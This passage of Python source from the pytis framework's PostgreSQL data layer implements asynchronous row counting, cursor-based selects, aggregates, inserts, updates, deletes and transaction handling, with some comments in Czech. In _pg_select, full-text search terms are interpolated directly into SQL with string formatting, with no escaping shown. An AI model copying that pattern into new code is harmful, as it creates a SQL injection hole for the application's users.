except Exception:\n            raise ProgramError('Unexpected result', data_)\n        return result\n\n    class _PgRowCounting(object):\n\n        class _Thread(threading.Thread):\n            _PG_INITIAL_STEP = 1000\n            _PG_MAX_STEP = 100000\n            _PG_DEFAULT_TIMEOUT = 0.1\n            _PG_STOP_CHECK_TIMEOUT = 0.1\n\n            def __init__(self, data, initial_count, transaction, selection):\n                threading.Thread.__init__(self)\n                self._pg_data = data\n                self._pg_transaction = transaction\n                self._pg_selection = selection\n                self._pg_current_count = initial_count\n                self._pg_initial_count = initial_count\n                self._pg_finished = False\n                self._pg_terminate = False\n                self._pg_terminate_event = threading.Event()\n                self._pg_urgent = False\n                self._pg_correction = 0\n                self._pg_exception = None\n\n            def run(self):\n                try:\n                    data = self._pg_data\n                    step = min_step = self._PG_INITIAL_STEP\n                    max_step = self._PG_MAX_STEP\n                    test_count = self._pg_initial_count\n                    selection = self._pg_selection\n                    transaction = self._pg_transaction\n                    args = dict(selection=selection, number=ival(self._pg_initial_count))\n                    query = data._pdbb_command_move_absolute.update(args)\n                    data._pg_query(query, transaction=transaction)\n                    query_counter = data._pg_query_counter\n                    while True:\n                        if self._pg_dead():\n                            self._pg_initial_count = self._pg_current_count\n                            args = dict(selection=selection, number=ival(data._pg_dbpointer + 1))\n                            query = data._pdbb_command_move_absolute.update(args)\n                            if not transaction or transaction.open():\n                                # The transaction can still become dead before\n                                # the following query gets called, but the\n                                # resulting error should be harmless.\n                                data._pg_query(query, transaction=transaction)\n                            return\n                        if data._pg_query_counter > query_counter:\n                            step = max(step // 8, min_step)\n                        test_count += step\n                        args = dict(selection=selection, number=ival(step))\n                        query = data._pdbb_command_move_forward.update(args)\n                        try:\n                            result = data._pg_query(query, transaction=transaction)\n                        except DBUserException:\n                            log(OPERATIONAL, \"Database exception in counting thread\",\n                                pytis.util.format_traceback())\n                            self._pg_exception = sys.exc_info()\n                            self._pg_finished = True\n                            self._pg_terminate_event.set()\n                            return\n                        query_counter = data._pg_query_counter\n                        self._pg_current_count = self._pg_current_count + result[0][0]\n                        if self._pg_current_count < test_count:\n                            break\n                        if step < max_step:\n                            step = min(2 * step, max_step)\n                        # Give other (perhaps more urgent) threads on the same\n                        # data object opportunity to call database queries.\n                        if not self._pg_urgent:\n                            time.sleep(0.1)\n                    args = dict(selection=selection, number=ival(0))\n                    query = data._pdbb_command_move_absolute.update(args)\n                    data._pg_query(query, transaction=transaction)\n                    self._pg_finished = True\n                finally:\n                    self._pg_terminate_event.set()\n\n            def _pg_dead(self):\n                return (self._pg_terminate or self._pg_exception is not None or\n                        (self._pg_transaction and not self._pg_transaction.open()))\n\n            def pg_count(self, min_value=None, timeout=None, corrected=False):\n                self._pg_urgent = True\n                stop_check = self._pg_data._pg_stop_check\n                if self._pg_dead():\n                    pass\n                elif stop_check is not None:\n                    start_time = time.time()\n                    if timeout is not None:\n                        stop_time = time.time() + timeout\n                    while (not self._pg_finished and\n                           (min_value is not None or\n                            timeout is None or time.time() <= stop_time) and\n                           (min_value is None or self._pg_current_count < min_value)):\n                        stop_check(start_time)\n                        t = self._PG_STOP_CHECK_TIMEOUT\n                        if timeout is not None:\n                            t = min(t, max(stop_time - time.time(), 0))\n                        self._pg_terminate_event.wait(t)\n                elif min_value is not None:\n                    while self._pg_current_count < min_value and not self._pg_finished:\n                        self._pg_terminate_event.wait(timeout or self._PG_DEFAULT_TIMEOUT)\n                elif not self._pg_finished:\n                    self._pg_terminate_event.wait(timeout)\n                count = self._pg_current_count\n                if corrected:\n                    count += self._pg_correction\n                self._pg_urgent = False\n                return count, self._pg_finished\n\n            def pg_stop(self):\n                if self._pg_dead():\n                    return\n                self._pg_terminate = True\n                self._pg_terminate_event.wait()\n                data = self._pg_data\n                args = dict(selection=self._pg_selection, number=ival(data._pg_dbpointer + 1))\n                query = data._pdbb_command_move_absolute.update(args)\n                data._pg_query(query, transaction=self._pg_transaction)\n\n            def pg_restart(self):\n                new_thread = self.__class__(self._pg_data, self._pg_current_count,\n                                            self._pg_transaction, self._pg_selection)\n                new_thread.start()\n                return new_thread\n\n            def pg_correct(self, correction):\n                self._pg_correction += correction\n\n        def __init__(self, data, transaction, selection):\n            self._thread = self._Thread(data, 0, transaction, selection)\n\n        def start(self):\n            self._thread.start()\n\n        def count(self, min_value=None, timeout=None, corrected=False):\n            result = self._thread.pg_count(min_value, timeout, corrected)\n            if self._thread._pg_exception:\n                import pytis.form\n                pytis.form.top_level_exception(self._thread._pg_exception)\n            return result\n\n        def stop(self):\n            self._thread.pg_stop()\n\n        def restart(self):\n            self._thread = self._thread.pg_restart()\n\n        def __add__(self, correction):\n            self._thread.pg_correct(correction)\n            return self\n\n    def _pg_start_row_counting_thread(self, transaction, selection):\n        t = self._PgRowCounting(self, transaction, selection)\n        t.start()\n        return t\n\n    def _pg_select(self, condition, sort, columns, arguments={}, transaction=None,\n                   async_count=False, stop_check=None, limit=None):\n        \"\"\"Initiate select and return the number of its lines or 'None'.\n\n        Arguments:\n\n          condition -- unprocessed conditional expression or 'None'\n          sort -- unprocessed sorting specification or 'None'\n          operation -- unprocessed specification of an aggregation function\n          columns -- sequence of IDs of columns to select\n          arguments -- dictionary of function call arguments\n          transaction -- transaction object\n          async_count -- if true, count result lines asynchronously and return\n            a '_PgRowCounting' instance instead of the number of lines;\n            this is useful on large tables where row counting may take\n            significant amount of time\n          stop_check -- if not 'None' then it is a function to be called\n            periodically, during some long taking operations, with the single\n            argument passing start time of the long operation as returned by\n            'time.time()'.  It is not guaranteed that this function gets\n            actually called during any long taking operation.  If it gets, it's\n            up to the function what to do, it can e.g. raise some exception to\n            stop the operation.\n          limit -- maximum number of rows\n\n        \"\"\"\n        cond_string = self._pdbb_condition2sql(condition)\n        sort_string = self._pdbb_sort2sql(sort)\n        limit_string = self._pdbb_limit2sql(limit)\n        args = {'condition': cond_string, 'ordering': sort_string, 'limit': limit_string}\n        fulltext_queries = [_Query('')]\n        if condition:\n            def find_fulltext(op):\n                if op.name() == 'FT':\n                    index_column = op.args()[0]\n                    query = op.args()[1]\n                    fulltext_queries[0] += (\",to_tsquery('%s') as %s\" %\n                                            (query,\n                                             self._pdbb_fulltext_query_name(index_column),))\n                elif op.logical():\n                    for a in op.args():\n                        if isinstance(a, pytis.data.Operator):\n                            find_fulltext(a)\n            find_fulltext(condition)\n        args['fulltext_queries'] = fulltext_queries[0]\n        self._pg_make_arguments(args, arguments)\n        connections = self._pg_connections()\n        if connections and connections[-1].connection_info('broken') and transaction is None:\n            # Current connection is broken, maybe after database server\n            # restart.  In such a situation ugly things happen in wx forms and\n            # we should try to avoid them.  We are most likely here\n            # because_pg_restore_select tries to reopen the select.  We replace\n            # the broken connection by a new one, but we may do it only if we\n            # are not inside higher level transaction.\n            new_connection = self._pg_connection_pool().get(self._pg_connection_data())\n            connections[-1] = new_connection\n        if columns:\n            args['columns'] = self._pdbb_select_column_list = \\\n                self._pdbb_sql_column_list_from_names(\n                    columns,\n                    full_text_handler=self._pdbb_full_text_handler,\n                    operations=self._pdbb_operations,\n                    column_groups=self._pdbb_column_groups)\n        else:\n            self._pdbb_select_column_list = None\n        args['selection'] = self._pdbb_selection_number = ival(self._pdbb_next_selection_number())\n        dummy_select = (self._arguments is not None and arguments is self.UNKNOWN_ARGUMENTS)\n        command = self._pdbb_command_dummy_select if dummy_select else self._pdbb_command_select\n        transaction_ = self._pg_select_transaction if transaction is None else transaction\n        self._pg_query(command.update(args), transaction=transaction_)\n        if async_count:\n            result = self._pg_start_row_counting_thread(transaction_, args['selection'])\n        elif stop_check is not None:\n            # Allow stop_check even when sync count is requested.\n            counting_thread = self._pg_start_row_counting_thread(transaction_, args['selection'])\n            result, finished = counting_thread.count()\n            assert finished\n        else:\n            data = self._pg_query(self._pdbb_command_fetch_last.update(args),\n                                  transaction=transaction_)\n            self._pg_query(self._pdbb_command_move_to_start.update(args), transaction=transaction_)\n            if data:\n                result = int(data[0][-1])\n            else:\n                result = 0\n        self._pg_number_of_rows = result\n        self._pg_dbpointer = -1\n        return result\n\n    def _pg_distinct(self, column, prefix, condition, sort, transaction=None,\n                     arguments={}):\n        cond_string = self._pdbb_condition2sql(condition)\n        colspec = self.find_column(column)\n        if prefix:\n            if isinstance(colspec.type(), String):\n                expr = _QFunction('substr', (_Query(column), ival(1), ival(prefix))).label(column)\n            else:\n                raise ProgramError(\"Invalid column type for prefix selection\")\n        else:\n            expr = _Query(column)\n        dir = {ASCENDENT: 'ASC', DESCENDANT: 'DESC'}[sort]\n        sort_string = _Query('%s %s' % (column, dir))\n        args = dict(expression=expr, condition=cond_string, sorting=sort_string)\n        self._pg_make_arguments(args, arguments)\n        query = self._pdbb_command_distinct.update(args)\n        data = self._pg_query(query, transaction=transaction)\n        tmpl = self._pg_create_make_row_template((colspec,))\n        result = [self._pg_make_row_from_raw_data([r], tmpl)[column] for r in data]\n        return result\n\n    def _pg_select_aggregate(self, operation, colids, condition, transaction=None, arguments={}):\n        if __debug__:\n            self._pg_check_arguments(arguments)\n            if operation != self.AGG_COUNT:\n                if operation in (self.AGG_MIN, self.AGG_MAX):\n                    allowed = (Number, DateTime, String)\n                else:\n                    allowed = Number\n                for cid in colids:\n                    t = self.find_column(cid).type()\n                    assert isinstance(t, allowed), (operation, cid, t, allowed,)\n        close_select = False\n        if self._pg_select_transaction is None:\n            self.select(condition=condition, arguments=arguments, transaction=transaction)\n            close_select = True\n        if self._arguments is not None and arguments is self.UNKNOWN_ARGUMENTS:\n            data = [[None for x in colids]]\n        else:\n            try:\n                data = self._pg_select_aggregate_1(operation, colids, condition,\n                                                   transaction=transaction, arguments=arguments)\n            except Exception:\n                cls, e, tb = sys.exc_info()\n                try:\n                    if transaction is None:\n                        self._pg_select_transaction.rollback()\n                except Exception:\n                    pass\n                self._pg_select_transaction = None\n                raise_(cls, e, tb)\n            if close_select:\n                self.close()\n        ti = Integer()\n        tf = Float()\n\n        def make_value(cid, dbvalue):\n            if operation == self.AGG_COUNT:\n                t = ti\n            elif operation == self.AGG_AVG:\n                t = tf\n            else:\n                t = self.find_column(cid).type()\n            return Value(t, dbvalue)\n        result = [make_value(cid, data[0][i]) for i, cid in enumerate(colids)]\n        return result\n\n    def _pg_aggregate_name(self, operation):\n        FMAPPING = {self.AGG_MIN: 'min',\n                    self.AGG_MAX: 'max',\n                    self.AGG_COUNT: 'count',\n                    self.AGG_SUM: 'sum',\n                    self.AGG_AVG: 'avg',\n                    }\n        try:\n            return FMAPPING[operation]\n        except KeyError:\n            raise ProgramError('Invalid aggregate function identifier',\n                               operation)\n\n    def _pg_select_aggregate_1(self, operation, colids, condition, transaction=None, arguments={}):\n        cond_string = self._pdbb_condition2sql(condition)\n        colnames = [self._pdbb_btabcol(self._db_column_binding(cid)) for cid in colids]\n        function = self._pg_aggregate_name(operation)\n        function_list = [_QFunction(function, (cname,)) for cname in colnames]\n        function_string = _Query.join(function_list)\n        args = dict(columns=function_string, condition=cond_string)\n        if self._arguments is not None:\n            self._pg_make_arguments(args, arguments)\n        query = self._pdbb_command_select_agg.update(args)\n        if transaction is None:\n            transaction = self._pg_select_transaction\n        return self._pg_query(query, transaction=transaction)\n\n    def _pg_fetchmany(self, count, direction, transaction=None):\n        \"\"\"Vrať 'count' řádků selectu jako raw data.\"\"\"\n        args = {'number': ival(count), 'selection': self._pdbb_selection_number}\n        if direction == FORWARD:\n            query = self._pdbb_command_fetch_forward.update(args)\n        elif direction == BACKWARD:\n            query = self._pdbb_command_fetch_backward.update(args)\n        else:\n            raise ProgramError('Invalid direction', direction)\n        return self._pg_query(query, transaction=transaction)\n\n    def _pg_skip(self, count, direction, exact_count=False, transaction=None):\n        \"\"\"Přeskoč 'count' řádků v 'direction'.\"\"\"\n        args = dict(number=ival(count), selection=self._pdbb_selection_number)\n        if direction == FORWARD:\n            self._pg_query(self._pdbb_command_move_forward.update(args),\n                           transaction=transaction)\n        elif direction == BACKWARD:\n            answer = self._pg_query(self._pdbb_command_move_backward.update(args),\n                                    transaction=transaction)\n            answer_count = answer[0][0]\n            if exact_count and answer_count != count:\n                log(OPERATIONAL, \"Unexpected result of cursor operation MOVE:\",\n                    (answer_count, count))\n        else:\n            raise ProgramError('Invalid direction', direction)\n        return None\n\n    def _pg_move(self, position, transaction=None):\n        \"\"\"Move DB cursor to given absolute position.\"\"\"\n        args = dict(number=ival(position), selection=self._pdbb_selection_number)\n        self._pg_query(self._pdbb_command_move_absolute.update(args), transaction=transaction)\n\n    def _pg_insert(self, rows, after=None, before=None, transaction=None):\n        \"\"\"Vlož 'rows' a vrať pole nových raw dat.\"\"\"\n        if not rows:\n            return ()\n        rows = tuple(rows)\n        ordering = self._ordering\n        if ordering:\n            ocol = self._ordering[0]\n            if after:\n                neighbor = after\n                n = neighbor[ocol].value() + 1\n            elif before:\n                neighbor = before\n                n = neighbor[ocol].value()\n            else:\n                neighbor = rows[0]\n                n = -1\n            try:\n                args = {}\n                for i in range(1, len(self._ordering)):\n                    args['param_%d' % (i,)] = neighbor[ordering[i]]\n            except KeyError:\n                raise ProgramError('Invalid column id in ordering', self._ordering, neighbor)\n            if n >= 0:\n                args['position'] = ival(n)\n                args['shift_amount'] = ival(len(rows))\n                self._pg_query(self._pdbb_command_insert_shift.update(args), backup=True,\n                               transaction=transaction)\n            else:\n                result = self._pg_query(self._pdbb_command_insert_newpos.update(args),\n                                        transaction=transaction)\n                if result:\n                    raw = result[0][0]\n                    if raw is None:\n                        n = 1\n                    else:\n                        n = int(raw)\n                else:\n                    n = 1\n            for i, row in enumerate(rows):\n                oval = Value(Integer(), n + i)\n                try:\n                    row[ocol] = oval\n                except KeyError:\n                    row.append(ocol, oval)\n        first_cols = None\n        values = []\n        for i, row in enumerate(rows):\n            cols, vals = self._pdbb_table_row_lists(row)\n            if first_cols is None:\n                first_cols = cols\n                columns = _Query.join(cols)\n            if cols != first_cols:\n                raise ProgramError('Differing columns between inserted rows', (0, first_cols), (i, cols))\n            values.append(_Query.join(vals).wrap())\n        values = _Query.join(values)\n        self._pg_query(_Query(\"savepoint _insert\"), transaction=transaction)\n        try:\n            key_data = self._pg_query(\n                self._pdbb_command_insert.update(dict(columns=columns, values=values)),\n                backup=True, transaction=transaction)\n        except DBInsertException:\n            # Happens e.g. with VIEWs with INSERT RULE with DO INSTEAD *without* a RETURNING clause.\n            # See `CREATE RULE` docs for details.\n            self._pg_query(_Query(\"rollback to _insert\"), transaction=transaction)\n            self._pg_query(\n                self._pdbb_command_insert_alternative.update(dict(columns=columns, values=values)),\n                backup=True, transaction=transaction)\n            try:\n                keys = [row[self._key_binding[0].id()] for row in rows]\n            except KeyError:\n                keys = ()\n                if isinstance(self._key_binding[0].type(), Serial):\n                    try:\n                        key_data = self._pg_query(self._pdbb_command_insert_get_last\n                                                  .update(dict(row_count=ival(len(rows)))),\n                                                  transaction=transaction)\n                        key_rows = self._pg_make_rows_from_raw_data(\n                            key_data, template=(self._pg_make_row_template[0],))\n                        keys = [key_row[0] for key_row in key_rows]\n                    except DBException:\n                        pass\n        else:\n            key_rows = self._pg_make_rows_from_raw_data(\n                key_data, template=(self._pg_make_row_template[0],))\n            keys = [key_row[0] for key_row in key_rows]\n            self._pg_query(_Query(\"release _insert\"), transaction=transaction)\n        return self.rows(keys, transaction=transaction)\n\n    def _pg_update(self, condition, row, transaction=None):\n        \"\"\"Updatuj řádky identifikované 'condition'.\n\n        Vrací: Počet updatovaných řádků.\n\n        \"\"\"\n        # TODO: Při použití RULEs v PostgreSQL UPDATE vrací vždy 0.  Toto\n        # chování je sporné, nicméně v tuto chvíli PostgreSQL nenabízí žádné\n        # přímé řešení, jak výsledek UPDATE zjistit.  Proto zde aplikujeme\n        # jakýsi hack, který nějakým způsobem ošetří alespoň některé situace,\n        # aby nebyl signalizován neúspěch UPDATE v případě jeho úspěchu.\n        cols, vals = self._pdbb_table_row_lists(row)\n        if not cols:\n            return 0\n        settings = _Query(cols[0] + '=') + _Query.next_arg_query(vals[0])\n        for c, v in zip(cols[1:], vals[1:]):\n            settings = settings + _Query(', ' + c + '=') + _Query.next_arg_query(v)\n        cond_query = self._pdbb_condition2sql(condition)\n\n        def extract_result(d):\n            try:\n                return int(d[0][0])\n            except Exception:\n                raise DBSystemException('Unexpected UPDATE result', None, d)\n        try:\n            broken = self._pdbb_broken_update_result\n        except AttributeError:\n            broken = self._pdbb_broken_update_result = \\\n                self._pg_query(self._pdbb_command_test_broken_update, transaction=transaction)\n        if broken:\n            q = self._pdbb_command_broken_update_preselect.update(dict(condition=cond_query))\n            d = self._pg_query(q, transaction=transaction)\n            result = extract_result(d)\n        d = self._pg_query(self._pdbb_command_update.update(dict(settings=settings,\n                                                                 condition=cond_query)),\n                           backup=True, transaction=transaction)\n        if not broken:\n            result = extract_result(d)\n        if result >= 0:\n            return result\n        else:\n            raise DBSystemException('Unexpected UPDATE value', None, result)\n\n    def _pg_delete(self, condition, transaction=None):\n        \"\"\"Smaž řádek identifikovaný podmínkou 'condition'.\n\n        Vrací: Počet smazaných řádků.\n\n        \"\"\"\n        sql_condition = self._pdbb_condition2sql(condition)\n        d = self._pg_query(self._pdbb_command_delete.update(dict(condition=sql_condition)),\n                           backup=True, transaction=transaction)\n        try:\n            result = int(d[0][0])\n        except Exception:\n            raise DBSystemException('Unexpected DELETE result', None, d)\n        if result >= 0:\n            return result\n        else:\n            raise DBSystemException('Unexpected DELETE value', None, result)\n\n    def _pg_send_notifications(self):\n        \"\"\"Rozešli notifikace o modifikaci tohoto datového objektu.\"\"\"\n        self._pg_query(self._pdbb_command_notify, outside_transaction=True)\n\n\nclass DBDataPostgreSQL(PostgreSQLStandardBindingHandler, PostgreSQLNotifier):\n    \"\"\"Datová tabulka s napojením do PostgreSQL.\n\n    Tato třída překládá požadavky do SQL, není však implementačně závislá na\n    konkrétním použitém postgresovém modulu pro Python.\n\n    \"\"\"\n    # TODO: Tato třída je mamut a měla by být rozdělena na několik menších částí\n\n    _PG_LOCK_TABLE = '_rowlocks_real'\n    _PG_LOCK_TABLE_LOCK = '_rowlocks_real'\n    _PG_LOCK_TIMEOUT = 30         # perioda updatu v sekundách\n\n    def __init__(self, bindings, key, connection_data, ro_select=True, **kwargs):\n        \"\"\"Inicializuj databázovou tabulku dle uvedených specifikací.\n\n        Argumenty:\n\n          bindings -- stejné jako v předkovi\n          key -- binding klíčového sloupce datové tabulky, musí být jeden\n            z prvků 'bindings' nebo sekvence prvků z 'bindings'\n          connection_data -- instance třídy 'DBConnection' definující\n            parametry připojení, nebo funkce bez argumentů vracející takovou\n            instanci 'DBConnection'\n          ro_select -- iff true, make select transactions read-only when\n            possible\n          kwargs -- předá se předkovi\n\n        \"\"\"\n        if __debug__:\n            log(DEBUG, 'Creating data table')\n        if is_sequence(key):\n            self._key_binding = tuple(key)\n        else:\n            self._key_binding = (key,)\n        self._pg_select_transaction = None\n        super(DBDataPostgreSQL, self).__init__(\n            bindings=bindings, key=key, connection_data=connection_data,\n            **kwargs)\n        self._pg_dbpointer = -1  # DB cursor position starting from zero\n        self._pg_buffer = pytis.data.FetchBuffer(self._pg_load_buffer,\n                                                 limit=pytis.config.cache_size,\n                                                 initial_fetch_size=pytis.config.initial_fetch_size,\n                                                 fetch_size=pytis.config.fetch_size)\n        self._pg_number_of_rows = None\n        self._pg_ro_select = ro_select\n        # TODO: Ugly, fix this!\n        if hasattr(self, '_pdbb_filtered_bindings'):\n            binding_ids = [b.id() for b in self._pdbb_filtered_bindings]\n            filtered_columns = [c for c in self._columns if c.id() in binding_ids]\n        else:\n            filtered_columns = self._columns\n        self._pg_make_row_template = \\\n            self._pg_create_make_row_template(filtered_columns,\n                                              column_groups=getattr(self, '_pdbb_column_groups'))\n        self._pg_make_row_template_limited = None\n\n    # Metody pro transakce\n\n    def _pg_allocate_connection(self):\n        connections = self._pg_connections()\n        if __debug__:\n            if len(connections) >= 3:\n                log(DEBUG, 'Suspicious connection depth:', len(connections))\n        connection = self._pg_get_connection(outside_transaction=True)[0]\n        connections.append(connection)\n\n    def _pg_deallocate_connection(self):\n        self._pg_return_connection(self._pg_connections().pop())\n\n    def _pg_begin_transaction(self, isolation=None, read_only=False):\n        if self._pg_select_transaction is not None:\n            self.close()\n        limit = 10\n        while True:\n            self._pg_allocate_connection()\n            try:\n                self._postgresql_begin_transaction()\n                if isolation:\n                    read_only_string = (\" READ ONLY\" if read_only else \"\")\n                    args = dict(isolation=_Query(isolation), read_only=_Query(read_only_string))\n                    q = self._pdbb_command_isolation.update(args)\n                    self._pg_query(q)\n                else:\n                    self._pg_query(_Query(\"select null\"))\n                break\n            except DBRetryException:\n                # Maybe database connection lost in past, try again\n                limit -= 1\n                if limit <= 0:\n                    raise\n\n    def _pg_commit_transaction(self):\n        self._postgresql_commit_transaction()\n        self._pg_deallocate_connection()\n\n    def _pg_rollback_transaction(self):\n        self._postgresql_rollback_transaction()\n        self._pg_deallocate_connection()\n\n    # Pomocné metody\n\n    def _pg_create_make_row_template(self, columns, column_groups=None):\n        template = []\n        for c in columns:\n            id_ = c.id()\n            type = c.type()\n            if isinstance(type, (String, LTree)):\n                typid = 0\n            elif isinstance(type, (Time, DateTime)):\n                typid = 2\n            elif isinstance(type, TimeInterval):\n                typid = 3\n            else:\n                typid = 99\n            template.append((id_, typid, type))\n        return template\n\n    def _pg_limited_make_row_template(self, columns):\n        template = []\n        for c in columns:\n            for item in self._pg_make_row_template:\n                if item[0] == c:\n                    template.append(item)\n                    break\n            else:\n                raise ProgramError(\"Column not found in template\", c)\n        return template\n\n    def _pg_make_row_from_raw_data(self, data_, template=None):\n        if not data_:\n            return None\n        if not template:\n            template = self._pg_make_row_template\n        return Row([(cid, Value(ctype, dbvalue))\n                    for dbvalue, (cid, typid, ctype) in zip(data_[0], template)])\n\n    def _pg_make_rows_from_raw_data(self, data_, template=None):\n        return [self._pg_make_row_from_raw_data((data,), template) for data in data_]\n\n    def _pg_already_present_any(self, rows, transaction=None):\n        keys = []\n        for row in rows:\n            k = self.key()[0]\n            try:\n                id = k.id()\n            except Exception:\n                return False\n            try:\n                key = row[id]\n            except KeyError:\n                return False\n            keys.append(key)\n        return self.rows(keys, transaction=transaction)\n\n    def _pg_already_present(self, row, transaction=None):\n        rows = self._pg_already_present_any((row,), transaction)\n        if rows:\n            return rows[0]\n        else:\n            return None\n\n    def _pg_key_condition(self, key):\n        if __debug__:\n            log(DEBUG, 'Creating condition from key:', key)\n        key = xtuple(key)\n        assert len(key) == len(self._key_binding), ('Invalid key length', key, self._key_binding)\n        condition = AND(*[EQ(b.id(), v) for b, v in zip(self._key_binding, key)])\n        if __debug__:\n            log(DEBUG, 'Key condition created:', condition)\n        return condition\n\n    def _pg_restore_select(self):\n        row_number = self._pg_last_select_row_number\n        if row_number is None and self._pg_last_select_transaction is not None:\n            # The last select wasn't closed correctly and we are inside a\n            # higher level transaction -- we mustn't continue in such a case.\n            return False\n        if row_number is None:\n            row_number = self._pg_buffer.position()\n        self.select(condition=self._pg_last_select_condition,\n                    sort=self._pg_last_select_sorting,\n                    columns=self._pg_last_select_columns,\n                    transaction=self._pg_last_select_transaction,\n                    arguments=self._pg_last_select_arguments,\n                    async_count=self._pg_async_count,\n                    stop_check=self._pg_stop_check,\n                    limit=self._pg_last_select_limit,\n                    timeout_callback=self._pg_timeout_callback)\n        if row_number >= 0:\n            self.skip(row_number + 1)\n        return True\n\n    def _pg_maybe_restore_select(self):\n        if self._pg_select_transaction is None:\n            if not self._pg_restore_select():\n                raise NotWithinSelect()\n\n    def _pg_number_of_rows_(self, min_value=None):\n        if isinstance(self._pg_number_of_rows, int):\n            number = self._pg_number_of_rows\n        else:\n            number, finished = self._pg_number_of_rows.count(min_value=min_value)\n            if finished:\n                self._pg_number_of_rows = number\n        return number\n\n    def _pg_check_arguments(self, arguments):\n        if arguments is self.UNKNOWN_ARGUMENTS or not arguments:\n            return\n        assert self._arguments is not None, (\"Arguments passed to a non-function\", arguments,)\n        argument_names = [b.id() for b in self._arguments]\n        for k in arguments:\n            assert k in argument_names, (\"Invalid function argument\", k,)\n\n    # Veřejné metody a jimi přímo volané abstraktní metody\n\n    def rows(self, keys, columns=None, transaction=None, arguments={}):\n        if self._arguments is not None and arguments is self.UNKNOWN_ARGUMENTS:\n            return ()\n        if __debug__:\n            self._pg_check_arguments(arguments)\n        if columns:\n            template = self._pg_limited_make_row_template(columns)\n        else:\n            template = None\n        try:\n            data = self._pg_rows(keys, columns, transaction=transaction, arguments=arguments)\n        except:\n            cls, e, tb = sys.exc_info()\n            try:\n                self._pg_rollback_transaction()\n            except Exception:\n                pass\n            raise_(cls, e, tb)\n        if transaction is None and self._pg_select_transaction is None:\n            self._postgresql_commit_transaction()\n        result = self._pg_make_rows_from_raw_data(data, template=template)\n        return result\n\n    def row(self, key, columns=None, transaction=None, arguments={}):\n        # TODO: Temporary compatibility hack.  The current internal db code\n        # uses multikeys, but user code does not anymore.  Before we rewrite\n        # the internal parts to use single keys only, we should allow both\n        # kinds of keys.\n        if is_sequence(key):\n            key = key[0]\n        rows = self.rows((key,), columns, transaction, arguments)\n        if len(rows)==0:\n            return None\n        else:\n            return rows[0]\n\n    def select(self, condition=None, sort=(), reuse=False, columns=None, transaction=None,\n               arguments={}, async_count=False, stop_check=None, timeout_callback=None,\n               limit=None):\n        if __debug__:\n            log(DEBUG, 'Select started:', condition)\n        if __debug__:\n            self._pg_check_arguments(arguments)\n        if ((reuse and not self._pg_changed and self._pg_number_of_rows and\n             condition == self._pg_last_select_condition and\n             sort == self._pg_last_select_sorting and\n             columns == self._pg_last_select_columns and\n             transaction is self._pg_last_select_transaction and\n             limit == self._pg_last_select_limit and\n             not async_count)):\n            use_cache = True\n        else:\n            use_cache = False\n        if self._pg_select_transaction is not None:\n            self.close()\n        if transaction is None:\n            from pytis.data import DBTransactionDefault\n            self._pg_select_transaction = \\\n                DBTransactionDefault(self._pg_connection_data(),\n                                     connection_name=self._connection_name,\n                                     isolation=DBPostgreSQLTransaction.REPEATABLE_READ,\n                                     timeout_callback=timeout_callback)\n            self._pg_select_user_transaction = False\n            self._pg_select_set_read_only = self._pg_ro_select\n        else:\n            self._pg_select_transaction = transaction\n            self._pg_select_user_transaction = True\n            self._pg_select_set_read_only = False\n        self._pg_last_select_condition = condition\n        self._pg_last_select_sorting = sort\n        self._pg_last_select_columns = columns\n        self._pg_last_select_transaction = transaction\n        self._pg_last_select_arguments = arguments\n        self._pg_last_select_limit = limit\n        self._pg_last_select_row_number = None\n        self._pg_stop_check = stop_check\n        self._pg_async_count = async_count\n        self._pg_timeout_callback = timeout_callback\n        self._pg_changed = False\n        if columns:\n            self._pg_make_row_template_limited = \\\n                self._pg_limited_make_row_template(columns)\n        else:\n            self._pg_make_row_template_limited = None\n        last_number_of_rows = self._pg_number_of_rows\n        try:\n            row_count = self._pg_select(condition, sort, columns, transaction=transaction,\n                                        arguments=arguments, async_count=async_count,\n                                        stop_check=stop_check, limit=limit)\n        except Exception:\n            if isinstance(last_number_of_rows, self._PgRowCounting):\n                try:\n                    last_number_of_rows.stop()\n                except Exception:\n                    pass\n            cls, e, tb = sys.exc_info()\n            try:\n                if transaction is None:\n                    self._pg_select_transaction.rollback()\n            except Exception:\n                pass\n            self._pg_select_transaction = None\n            raise_(cls, e, tb)\n        if use_cache and isinstance(row_count, int) and row_count == last_number_of_rows:\n            self._pg_buffer.rewind()\n        else:\n            self._pg_buffer.reset()\n        return row_count\n\n    def select_aggregate(self, operation, condition=None, transaction=None, arguments={}):\n        return self._pg_select_aggregate(operation[0], (operation[1],),\n                                         condition=condition, transaction=transaction,\n                                         arguments=arguments)[0]\n\n    def select_and_aggregate(self, operation, condition=None, reuse=False, sort=(),\n                             columns=None, transaction=None, arguments={}):\n        if columns is None:\n            function_columns = [g[0] for g in (self._pdbb_column_groups or ()) if g[2] is not None]\n            columns = [c.id() for c in self.columns()\n                       if c.id() not in function_columns]\n            if self._pdbb_operations:\n                allowed_column_ids = [b.id() for b in self._pdbb_filtered_bindings]\n                columns = [c for c in columns if c in allowed_column_ids]\n        select_result = self.select(condition=condition, reuse=reuse,\n                                    sort=sort, columns=columns, transaction=transaction)\n        if operation == self.AGG_COUNT:\n            number_columns = columns\n        else:\n            number_columns = [cid for cid in columns\n                              if isinstance(self.find_column(cid).type(), Number)]\n        aggregate_results = self._pg_select_aggregate(operation, number_columns,\n                                                      condition=condition, transaction=transaction,\n                                                      arguments=arguments)\n\n        def aggregate_value(cid):\n            if number_columns and cid == number_columns[0]:\n                del number_columns[0]\n                number = aggregate_results[0]\n                del aggregate_results[0]\n                result = (cid, number,)\n            else:\n                result = (cid, Value(Type(), None),)\n            return result\n        aggregates = [aggregate_value(cid) for cid in columns]\n        return select_result, Row(aggregates)\n\n    def distinct(self, column, prefix=None, condition=None, sort=ASCENDENT, transaction=None,\n                 arguments={}):\n        \"\"\"Vrať sekvenci všech nestejných hodnot daného sloupce.\n\n        Argumenty:\n\n          column -- column identifier\n          prefix -- length of a string prefix to work on (integer).  If not 'None', only given\n            initial substring of column's value is considered by the query.  Only applicable for\n            columns of string types.\n          condition -- conditional expression as an Operator instance or 'None'\n          sort -- one of 'ASCENDENT', 'DESCENDANT' constants or None\n          transaction -- transaction object to be used when running the SQL\n            commands\n          arguments -- dictionary of function call arguments\n\n        \"\"\"\n        if __debug__:\n            self._pg_check_arguments(arguments)\n        return self._pg_distinct(column, prefix, condition, sort, transaction=transaction,\n                                 arguments=arguments)\n\n    def fetch(self, position):\n        \"\"\"Return data row from given position or next in given direction.\n\n        Interface is the same as described in parent class.\n\n        Doesn't automatically react to notifications about changes in relevant\n        tables and continues delivering old data until the transaction is\n        interrupted.\n\n        Reaction to notifications is left up to the application using the\n        method 'add_callback_on_change()'.\n\n        